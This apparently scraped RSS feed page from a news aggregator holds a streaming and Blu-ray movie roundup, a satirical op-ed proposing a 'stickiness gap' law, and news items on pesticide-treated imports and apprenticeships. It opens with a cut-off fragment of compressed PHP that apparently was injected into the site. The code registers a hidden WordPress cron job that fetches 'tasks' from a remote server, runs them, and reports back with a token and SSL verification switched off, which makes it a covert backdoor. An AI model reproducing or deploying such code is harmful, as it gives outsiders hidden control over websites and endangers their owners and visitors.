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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); gap’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 21 Aug 2018 22:47:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png gap’ – Brief News https://briefnews.eu 32 32 The 8 Best Movies to Buy or Stream This Week: ‘First Reformed,’ ‘Minding the Gap’ https://briefnews.eu/the-8-best-movies-to-buy-or-stream-this-week-first-reformed-minding-the-gap/ https://briefnews.eu/the-8-best-movies-to-buy-or-stream-this-week-first-reformed-minding-the-gap/#respond Tue, 21 Aug 2018 22:47:28 +0000 http://briefnews.eu/the-8-best-movies-to-buy-or-stream-this-week-first-reformed-minding-the-gap/ One of the year’s very best films hits Blu-ray and VOD this week, along with the simultaneous Hulu and theatrical debut of a shattering, powerful documentary. Also available for your viewing pleasure: three priceless peeks at vintage NYC, the latest from Steven Soderbergh, an HD upgrade for a Lubitsch classic, and a new Blu of a truly bonkers Bruce Willis thriller.

ON HULU

Minding the Gap: Bing Liu directed, co-edited, co-produced, shot, and co-stars in this (often uncomfortably) intimate documentary about a group of friends who discover, as one of them succinctly puts it, “We’re gonna have to grow up and it’s gonna fucking suck.” They’re teenage skater buddies, Liu included, and the way he shoots their rides (with a wide-angle lens on a roving, rigged-up camera) beautifully captures the motion and energy of the sport. But that’s just window dressing; Gap is much more the story of their lives, of real tragedy and toughness, and how the most charismatic of the bunch begins a toxic, abusive marriage with his high school girlfriend, seemingly unaware of how his friends are still suffering from the emotional fallout of such upbringings. The cycles of violence and abandonment are captured with uncommon honesty, and the director’s proximity to his subjects presumably allowed them to open up in ways they wouldn’t to a stranger. But Liu has a gift for montage and a confident way with his camera, and the emotional heft of this debut is quietly overwhelming. (Also currently in theaters.)

ON AMAZON PRIME

Unsane: The latest from director Steven Soderbergh plays like a stealth act of film criticism – it’s fully aware of the tropes of this particular subset of thriller, and spends its running time toying with our expectations (and, in this case, gendered prejudices). Claire Foy (very good, though struggling with her American accent) plays a woman in a new city, fleeing a stalker, who finds herself in the midst of the Kafka-esque nightmare of being held in a mental facility against her wishes, in which her understandably violent objections snowball into self-fulfilling prophesies. More than that I won’t say, at least in terms of plot; Soderbergh’s decision to shoot entirely on an iPhone is an experiment that doesn’t quite pay off, but it’s nonetheless a fascinating film to look at, as he torques out the angles and whiplashes the camera to put us into his protagonist’s troubled headspace. It’s an itchy, twitchy movie with an endlessly satisfying payoff.

ON BLU-RAY / FILMSTRUCK

Smithereens: Writer/director Susan Seidelman exploded onto the ‘80s indie movie landscape with this noisy, jittery, rattling snapshot of the downtown New York scene. Her focus is Wren (Susan Berman), a specific kind of fierce, angry, take-no-shit type, all sneers and dry wit, who floats around the edges of the early-‘80s punk and art world, exploiting the guy she can have, and being exploited by the guy she can’t. But Seidelman’s film (the first American indie to compete at Cannes) is less about the love triangle than this particular time and place; Smithereens lives in a world of dirty clubs and dumpy walk-ups, and there’s an irresistible danger to Seidelman’s style, an edge that’s borderline nihilistic. (Includes audio commentary, new interviews, and vintage Seidelman short films.) (Also streaming on FilmStruck.)

ON BLU-RAY / DVD / VOD

First Reformed: “It’s hard to struggle against torpor,” Rev. Toller (Ethan Hawke) writes. “I must get pen to paper.” In that desire to get pen to paper, the protagonist of Paul Schrader’s latest has something in common with his best-known creation, Travis Bickle – and First Reformed is closer to Taxi Driver than you might expect an austere, modest religious drama to be. It spends much of its running time in that mold, as this man of God struggles with drinking, depression, death, and the difficulty of holding both hope and despair in his head at once. Unique in contemporary cinema, it’s a film that takes religion and scripture seriously, and because it does, it must go to the very dark place it eventually goes – the place you’d expect from a writer/director with Schrader’s CV. (Includes audio commentary and featurette.)

ON BLU-RAY

Heaven Can Wait: Ernst Lubitsch’s 1943 comedy/drama/fantasy (no relation to the 1978 Warren Beatty movie) tells the story of a “retired Casanova” (Don Ameche) who passes on and, rather than make his case in heaven, presents himself “where innumerable people had so often told him to go.” In his entrance interview, he insists he simply wasn’t a good enough man, and in illustrating his case, the Lubitsch adopts a “life in review” structure – a kind of twisted cousin to It’s A Wonderful Life. Elegant, witty, and melancholy, with generous doses of dark humor (I’m particularly partial to the moment when the trap door drops Ms. Craig into the flames), it’s a fascinating mixture of seemingly disparate tones that somehow match up, and Criterion’s lovely Blu-ray upgrade does right by the picture’s glorious, vibrant color cinematography. (Includes archival interviews and television profile, home recordings of Lubitsch playing piano, and trailer.)

Gloria: Fans of maverick writer/director John Cassavetes tend to dismiss this 1980 effort (new on Blu, via Twilight Time) as some kind of a commercialized sellout — it is, after all, a studio film with stunts and shoot-outs and an overblown Bill Conti score. But in spite of being his most conventional picture, Gloria is one of his best, in which the confines of the genre hold his occasional indulgences at bay; it’s a gangster movie and chase picture, yes, but one embedded with the intelligence of his smaller and more personal movies. And it boasts a stunning, Oscar-nominated performance by his off-screen partner, Gena Rowlands, who packs both a pistol and a sharp tongue with equal skill, growling her hard-boiled dialogue with an abundance of moxie. (Includes isolated music track and original trailers.)

The Hot Rock: The talent on display in this giddy 1972 heist picture is jaw-dropping: director Peter Yates (Breaking Away, Bullitt) and screenwriter William Goldman (Butch Cassidy, All the President’s Men) adapting a novel by Donald E. Westlake, with a cast that includes not only Robert Redford and George Segal, but a rogue’s gallery of the decade’s best character actors (including Zero Mostel, Ron Leibman, Moses Gunn, and Paul Sand). Oh, and with a Quincy Jones score! And it’s no ordinary heist picture: rather than following the clockwork-but-close-call template of the sub-genre, this crew keeps making tiny mistakes that force them to swipe the title gem over and over again. Snappily paced, expertly executed, and funny as hell. (Includes audio commentary, isolated music track, and original theatrical trailer.)

Color of Night: This 1994 entry in the post-Basic Instinct trashy erotic thriller derby is mostly remembered for two things: Bruce Willis showing his little Bruno, and one of the goofiest plot twists in recent memory. But it was also the final feature of director Richard Rush, who helmed the cult classic The Stunt Man, and Night was famously taken from the director by its producer and studio (the Disney subsidiary Hollywood Pictures), to be recut over his objections. Rush’s version maintains a lot of the silliness, but at least conveys a sense of what he was trying to do. Ultimately, you can make your own call; this new Blu-ray edition from KL Studio Classics includes both versions, and while it may be a goofy, sometimes inexplicable picture, it certainly never bores. (Includes audio commentaries and theatrical trailer.)

                                                                                

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GUEST:

No one’s better than America at addicting people to empty pixels. We have the platforms, like Facebook, Netflix, iOS, free-to-play video games, and Reddit. We have the people, an elite army of incentivized coders, statisticians, psychologists, and marketers. And we have the machine learning algorithms to augment both. The result is a powerful weapon, proven to wreck human happiness and productivity. That’s a good thing!

By introducing a modest piece of legislation, which I now propose, we can tilt that weapon away from our citizens and toward our unlucky economic foes. In the process, we’ll guarantee American tech supremacy, forever.

Introducing the ‘stickiness gap’

The stickiness gap law mandates that every tech company of a certain size must make their products at least 20% more addictive to global audiences than they are at home.

Take Facebook, for example. We reap no benefit if American Facebook visitors and Indian Facebook visitors each lose 2 hours per day to the site. But if Americans lose 1 hour and 36 minutes per day and Indians keep losing 2 hours per day, that’s a 24 minute edge! Multiply that 20 percent edge by every tech product, and we win productivity forever without having to sacrifice our work-life balance.

There’s no need to stop at 20 percent, either. With tax incentives, the government can reward companies that outperform that baseline. I have full confidence that our talented researchers, augmented by artificial intelligence and roused by patriotism, could create stickiness gaps in excess of 99%. With the right incentives, some may even find it more profitable to block Americans altogether! (A stickiness gap of infinity triggers a Medal of Honor.)

Imagine what comes next. Our citizens would take classes and read books; theirs would salivate over empty notifications. Our comment sections would be thoughtful text; theirs memes and GIFs. Our LinkedIn would drop the pointless news feed; theirs would celebrate Half-Work-Birthdays. Our productivity would shoot up; theirs would stagnate or decline.

Contrast the stickiness gap with traditional cyber warfare, which is barbaric, blunt, and often counterproductive. If one of our hackers gets caught, their target will retaliate and there goes our energy infrastructure. But with the stickiness gap, we don’t need subterfuge. Other nations will celebrate the arrival of “improved” features, like news feeds on refrigerators. “Those Americans are so charitable, giving us their best technology and keeping so little for themselves,” they’ll say. In response, we’ll eat their economy.

Contrast the stickiness gap with venture capitalist Mike Moritz’s recent suggestion that Americans need to double our work hours to compete with foreign challengers. Okay, that was fast!

You’re wondering whether our tech companies can afford to decrease American stickiness. Wouldn’t that lead to revenue decline? Maybe in the short-term, but increases in worker happiness and productivity will more than compensate. Eventually, our companies will gain market share against their zombified foreign competition. And with their recent tax cuts, they can afford it.

Tech is only the pilot program, and the stickiness gap scales like a balloon. If we apply it to our industrial food complex, we’ll win in health and fitness too, which by the way, will also improve our economic advantage. It almost seems unfair to think of the devastation our purveyors of cancer-causing fried carbs will inflict on our hapless enemies and frenemies.

There’s only one potential hiccup with this scheme. At the recent State of the Union, a camera spied a congresswoman hunched over her phone. Was she drafting a response? Attending to an urgent email? Checking her constituent’s reactions? No, she was fixated on Candy Crush, a game created by a bunch of Brits. Maybe we’ve been beaten to the punch.

Adam Ghahramani is cofounder of bison.gg, an esports blockchain startup, and adviser to thevinx.network, tokenizing wine futures. He is a frequent contributor to VentureBeat. Find him at adamagb.com

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Health Canada has long been vigilant about pesticide levels in the foods Canadians consume. But more manufacturers, many offshore, have been treating non-food products — toys, sofas, clothing, paint — with antimicrobial pesticides to ward off fungus. An internal memo says the agency needs to do more to screen out such products.

CBC | Health News

]]> https://briefnews.eu/huge-gap-in-health-canadas-ability-to-flag-imported-goods-treated-with-pesticides/feed/ 0 Trump’s call for apprenticeships overlooks ‘opportunity gap’ https://briefnews.eu/trumps-call-for-apprenticeships-overlooks-opportunity-gap/ https://briefnews.eu/trumps-call-for-apprenticeships-overlooks-opportunity-gap/#respond Sat, 17 Jun 2017 04:28:38 +0000 http://briefnews.eu/trumps-call-for-apprenticeships-overlooks-opportunity-gap/ This photo shows U.S. President Donald J. Trump as he delivers remarks on "Apprenticeship and Workforce of Tomorrow" initiatives and signs an executive order at the White House in Washington, U.S. June 15, 2017.

Some tech companies considering expansion to the heartland worry about finding local talent. That’s the skills gap. Meanwhile, many workers there, even if they were to acquire the skills sought by tech companies, don’t see ready demand for them. That’s the opportunity gap. And as the conversation around bridging the tech and economic divide progresses, it’s apparent that these vexing gaps are not only intertwined, but present a chicken and egg challenge.

Yesterday, President Donald Trump took an important step toward decoupling them. He signed an executive order, Expanding Apprenticeships in America, and unveiled initiatives designed to address the skills gap. The order more than doubles federal funding for new apprenticeship training programs, from $ 90 million to $ 190 million.

“Apprenticeships place students into great jobs without the crippling debt of traditional four-year college degrees,” Mr. Trump said, describing the potential benefits of the executive order. “Instead apprentices earn while they learn.”

The executive order cites 350,000 job openings in the manufacturing sector, some of which are positions requiring “additive manufacturing” skills that demand experience with process and design software.

For example, Butech Bliss, a manufacturer of machine technologies for the metals industry in Salem, Ohio, recently worked with the Youngstown Business Incubator (YBI) to learn additive manufacturing skills. The manufacturer switched from welding to metal casting, and adopted software to engineer steel chutes. The new tech helped cut product costs from $ 3,000 to $ 900, according to YBI CEO Barb Ewing. What’s more, the company can now rapidly modify the design file for additional, highly custom chutes at a cost of less than $ 500.

Trump’s executive order followed Labor Secretary R. Alexander Acosta’s call on Monday for more apprenticeships to address the skills gap for tech and healthcare jobs. “The issue is a mismatch between available jobs and prospective employee’s jobs skills,” Acosta said, citing a survey that shows 95 percent of executives reported problems finding qualified workers.

According to the U.S. Department of Labor, there are currently 6 million job openings in America.

Trump has been a longtime advocate for apprenticeships, which are not uncommon in construction and real estate development — long before his stint on The Apprentice, in fact.

In March, he met with Salesforce CEO Marc Benioff, who urged him to create 5 million apprenticeships to help address the IT labor shortage. “Let’s go for that 5 million,” Trump replied.

This new push for apprenticeships may help address the skills gap. Now, about the opportunity gap…

VentureBeat

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